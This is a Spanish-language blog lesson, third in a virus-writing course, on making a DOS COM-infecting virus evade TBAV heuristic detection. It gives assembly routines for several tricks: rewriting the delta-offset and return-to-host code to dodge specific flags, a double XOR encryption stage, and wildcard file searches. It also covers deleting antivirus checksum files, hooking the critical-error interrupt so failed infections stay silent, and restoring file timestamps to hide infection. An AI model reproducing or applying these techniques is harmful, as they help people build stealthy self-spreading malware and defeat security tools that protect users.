miércoles, 20 de febrero de 2013

CURSO-3


       Bueno ,he estado evitando hasta ahora hablar de heurística, pero
supongo que és inevitable.
La busqueda heurística es un método utilizado por lo antivirus
y consiste en buscar trozos muy utilizados en los virus.
Por ejemplo la busqueda del desplazamiento de las variables
(o delta offset o beta offset como dirían algunos programadores
de virus).Ese trozo es muy común en los virus y en cambio
ningún programa (normalmente) lo utiliza (¿qué programa necesita
buscar un desplazamiento de variables si no se va a cambiar
de offset?).
En nuestro programita saltarían por ejemplo el flag de encriptación
(flag # en el tbav) ,el flag de busqueda de ejecutables(porque
buscamos archivos com, eso quieras o no es bastante sospechoso)
,el flag de busqueda del delta offset (flag E en el tbav) y el
flag de regreso al hoste (salta cuando damos el control al hoste
saltando al offset 100h,flag B en el tbav)

               Lista de flags del tbav
               -----------------------

E Flexible Entry-point.  The code seems to be designed to be linked
  on any location within an executable file.  Common for viruses.
J Suspicious jump construct.  Entry point via chained or indirect
  jumps.  This is unusual for normal software but common for viruses.
B Back to entry point.  Contains code to re-start the program after
  modifications at the entry-point are made.  Very usual for viruses.
M Memory resident code.  The program might stay resident in memory.
c No checksum / recovery information (Anti-Vir.Dat) available.
C The checksum data does not match!  File has been changed!
T Incorrect timestamp.  Some viruses use this to mark infected files.
Z EXE/COM determination.  The program tries to check whether a file
  is a COM or EXE file.  Viruses need to do this to infect a program.
@ Encountered instructions which are not likely to be generated by
  an assembler, but by some code generator like a polymorphic virus.
G Garbage instructions.  Contains code that seems to have no purpose
  other than encryption or avoiding recognition by virus scanners.
U Undocumented interrupt/DOS call.  The program might be just tricky
  but can also be a virus using a non-standard way to detect itself.
K Unusual stack.  The program has a suspicious stack or an odd stack.
1 Found instructions which require a 80186 processor or above.
R Relocator.  Program code will be relocated in a suspicious way.
L The program traps the loading of software.  Might be a
  virus that intercepts program load to infect the software.
w The program contains a MS-Windows or OS/2 exe-header.
F Suspicious file access.  Might be able to infect a file.
S Contains a routine to search for executable (.COM or .EXE) files.
# Found a code decryption routine or debugger trap.  This is common
  for viruses but also for some copy-protected software.
D Disk write access.  The program writes to disk without using DOS.
? Inconsistent exe-header.  Might be a virus but can also be a bug.
N Wrong name extension. Extension conflicts with program structure.

  Si os fijáis algunos de los flags son una chorada (ojo al flag w)
  Pero tranquilos ,en esta vida todo tiene solución en primer
  lugar prodríamos sustituir la tipica rutina ...
 
                call find_offset
find_offset:    pop  bp
                sub  bp,offset find_offset

  ... por una rutina en la que leamos directamente de la pila

                call find_offset
find_offset:    mov  si,sp
                mov  bp,word  ptr ss:[si]
                sub  bp,offset find_offset
                add  sp,2                   ;adiós flag E


  Fijate que los datos en la pila se almacenan decrecientemente, con lo
  que el último elemento está  en la posición de memoria más baja.
  El último elemento de la pila lo apunta el par de registros ss:sp
  No podemos direccionar la memoria con el registro sp por lo que primero
  pasamos el valor de sp a si (mov si,sp) después leemos el valor apuntado
  por si y lo llevamos a bp(ésta és la dirección apilada con el call)
  Y bueno realizamos el sub y ojo a esta parte sumamos 2 al registro sp
  ya que hemos desapilado una palabra de la pila y ahora el último elemento
  de la pila está  dos posiciones hacia arriba.
  Esta rutina sirve pero ten en cuenta que el call find_offset no puede
  ser el primer comando del virus (sino la heurística saltaría).
  Antes del call find_offset podrías poner ...
                   push cs
                   push cs
                   pop  ds
                   pop  es
              ....ya que de todas formas lo tendrías que poner.

  No tengas tentaciones de poner instrucciones inútiles antes del
  call como

                   mov  cx,cx
                   xchg ax,ax

 Entonces no saltaría el flag del delta offset
 sinó el flag de garbage instruccion (instrucciones basura)
 ¿qué porqué salta la heurística con instrucciones inútiles?
 Pues porque un programa normal no suele utilizarlas , no són instrucciones
 que un compilador genere. En cambio los virus las utilizan para modificar
 la rutina de desencriptación en virus Polimórficos. Así que evita
 utilizarlas.
 Ahora que hemos evitado el flag E vamos a anular el flag B (back to
 entry point, regreso al punto de entrada).Salta cuando damos
 el control al com después de la ejecución del virus.
 Es decir si utilizamos ....

              mov  ax,100h
              jmp  ax

 pero esto tiene una solución también drástica,(no utilizaremos un mov)

              push  100h      ;apilamos el valor 100h en la pila
              pop   ax        ;desapilamos ese valor en el registro ax
              jmp   ax        ;saltamos a la dirección 100h

  Si, si, sé lo que estáis pensando.Pero se vé que a los creadores
  de antivirus no se les ocurrió :>
  Je,Je hemos aniquilado otro flag. Vamos a por el siguiente.
 ¿Qué tal el flag de encriptación?. La verdad es que éste me costo un
  poquito. Leí por algún sitio que poniendo después de la rutina de
  desencriptación un comando de salida al DOS se quitaba,con lo que
  el programa  antivirus se pensaba que la zona encriptada eran datos
  del programa  Algo así :>

                mov      cx,zona_encrypt  ;en cx el numero de bytes
                xor      di,di            ;a encriptar
                mov      ax,byte ptr [valor]
mas:            xor      byte ptr [zona_start+di],ax
                inc      di
                dec      cx
                je       mas
                jmp      sigue        ;salto para ejecutar el virus
                                      ;ya desencriptado
                mov      ax,4c00h     ;para salir al DOS pero
                int      21h          ;nunca llega a ejecutarse
sigue:

***************** aquí empieza el código encriptado **********
zona_start:    cld                    
               mov    cx,3d            
               mov    di,100h          
               lea    si,bp+cab_ORIG
               rep    movsb
               .
               .
               .

    La verdad es que es una idea ingeniosa ,pero no me funcionó.
    Así que al final conseguí evitar el dichoso flag encriptando
    y desencriptando el virus (parece paradógico ,evitar el flag
    de encriptación con una rutina de encriptación juajuajuajua)
    Encripto y desencripto con una función xor y utilizando un
    valor fijo. Estas dos rutinas las ejecuto antes de llegar
    a la verdadera rutina.Y estarán en cada archivo.
    La estructura del com quedaría así:

               Busqueda del delta offset
               Encripto el virus con un valor fijo
               Desencripto el virus con el mismo valor
               Desencripto el virus con un valor variable que
                 se encuentra almacenado en el codigo.
               Codigo del virus encriptado aquí

    Podéis revisar el Tarazona_Killer en la zona de virus comentados
    que está en esta web (si tenéis más dudas).

    Otro menos, esto va disminuyendo.Vamos ahora a por el flag S
    Que salta con las rutinas de busqueda de archivos ejecutables
    (exe,com).
    También hay una fácil solución.En vez de buscar archivos
    *.com buscar archivos que cumplan *.c?m .
    Y después verificar si el caracter del medio es una o.
    Fácil.El flag Z tiene una solución parecida.
    El flag z salta con rutinas de verificación si un archivo
    es com o exe (es decir comprobando si los 2 primeros bytes
    son MZ).
    Por ejemplo saltaría con rutinas como:

                  cmp word ptr [cab_ORIG],'ZM'
                  jne contamina_com
                  jmp salir
contamina_com:

NOTA: Fíjate que para verificar si los 2 primeros bytes son MZ
      comparamos con la cadena ZM ya que el bytes menos significativo
      se carga más hacia la derecha y el menos significativo a la
      izquierda.

      Para evitar el flag leemos primero un byte y luego otro

               cmp byte ptr [cab_ORIG].'M'
               jne contamina_com
               cmp byte ptr [cab_ORIG+1],'Z'
               jne contamina_com
               jmp salir
contamina_com:

      Bueno a estas alturas sólo saltaría el flag c
      C The checksum data does not match!  File has been changed!
      El Tbav crea un archivo en cada directorio con infomación
      sobre los archivos ejecutables que hay en él. Gracias a este
      archivo el Tbav sabe si un archivo a aumentado de tamaño o
      qué, (bueno no suelen engordar así por así los ejecutables
      por lo que si uno crece de tamaño lo más normal es que tenga
      un virus  :> )
      La manera de evitar este flag es borrar el archivito con
      lo que de paso puedes borrar otros archivos de verificación
      de otros antivirus como el chklist.ms etc.
      ¿qué cómo los borras? pues coño pa eso tienes la lista de
      interrupciones int 21 en AH->41h y en DS:DX->asciz file

      Olvidémonos un poco de los flags y de la heurística ,por
      lo menos hasta que llegemos a la residencia ;>. Y vamos
      a deperurar un poco más el programilla.
      Piensa por un momente lo que pasaría si alguien copia
      nuestro virus a un diskette ,luego lo protege contra
      escritura y después ejecuta el virus.
      Pues aparecería en pantalla un horroroso mensaje de

      Fallo de escritura en unidad A
      Anular, Reintentar, Ignorar?

      Incluso a veces aparece en pantalla error en int 24 :>
      Y vosotros no queréis que eso pase ,porque delataría
      a nuestro pequeño virus.
      Pues bueno como todo en esta vida tiene una solución.
      La interrupción 24 es la que gestiona los errores
      críticos. Entre ellos está  la lectura en diskettes
      defectuosos, la escritura en diskettes protegidos
      contra escritura etc.

      Las interrupciones són procedimientos que se ejecutan
      cuando se produce algún evento en el sistema ya sea
      apretar una tecla ,mover el ratón, o que aparezca un
      error crítico.
      El DOS crea a partir de la dirección de memoria 0000:0000
      una tabla que indica la dirección de inicio de cada
      interrupción del sistema. Sólo hemos de leer la dirección
      de la interrupción 24. Guardarla en una variable . Cambiar
      la dirección a un procedimiento nuestro que no devuelva
      codigos de error y luego cuando ya hallamos contaminado
      devolver a la interrupción 24 su dirección inicial.
      (fijaos en la función 35h y 25h de la int 21h, para leer
      la dirección de una interrupción y para cambiarla)

            mov  ax,3524h    ;en ah el codigo de la función (35h)
            int  21h         ;en al el número de la interrupción

      Esto devuelve en BX el offset y en ES el segmento de la interrupción

            mov  cs:[bp+old_int24_off],bx
            mov  cx:[bp+old_int24_seg],es

      Con esto guardo en memoria la dirección de la interrución original
      Y ahora desvío la interrupción 24 a un procedimiento mío.

            mov  dx,offset new_int24
            mov  ax,2524h
            int  21h         ;en ds:dx dirección de la nueva función
            jmp  Contaminar  ;supongo ds = cs ya que estamos contaminando com's
new_int24:  xor  al,al       ;en al la interrupción 24 devuelve el código
            iret             ;de error por lo que la pongo a 0 :>
contaminar:

       Después de contaminar simplemente devolvemos el valor original
       a la interrupción con...

           lds   dx,cs:old_int24
           mov   ax,2524h
           int   21h

       Fijate en las variables que añado a la zona de variables

 old_int24  label dword
 old_int24_off    dw 0
 old_int24_seg    dw 0

       Defino una etiqueta llamada old_int24 para referenciar el inicio
       a los valores del offset y del segmento de la interrupcion 24 así
       con el comando lds dx,cs:old_int24 los puedo cargar directamente
       en DS:DX sin tener que leer las 2 variables por separado.

       Otras mejoras que podríamos añadir es la verificación del tamaño
       del archivo. Ten en cuenta que un archivo com sólo puede tener
       65 kbytes de tamaño eso hace que si el hoste est  muy cerca de
       ese tamaño y si tú le añades el código del virus ,el conjunto
       de hoste+virus no se podría  cargar en un único segmento por lo
       que el programa se colgaría .
       Por eso lo mejor es verificar el tamaño con una rutina como esta
       (supongo en la variable longitud el tamaño del hoste)
       ....

                 mov ax,50000d
                 cmp word ptr [bp+longitud],ax
                 jb  size_ok            ;salto si el primer elemento
                 jmp salir              ;a comparar es menor al segundo
size_ok:

      También es interesante guardar la hora y la fecha del archivo
      contaminado y luego restaurar la fecha y la hora , así nadie
      se dará  cuenta que la última modificación del archivo fué cuando
      el virus le contaminó }:>
      Para eso utilizaremos la función ax=5700h de la int 21 para leer
      la fecha del archivo y la ax=5701h para cambiarla.
      En dx se obtendrá el campo de la hora y en cx la fecha.Según
      el siguiente criterio.

      Bit(s)

0 comentarios:

Publicar un comentario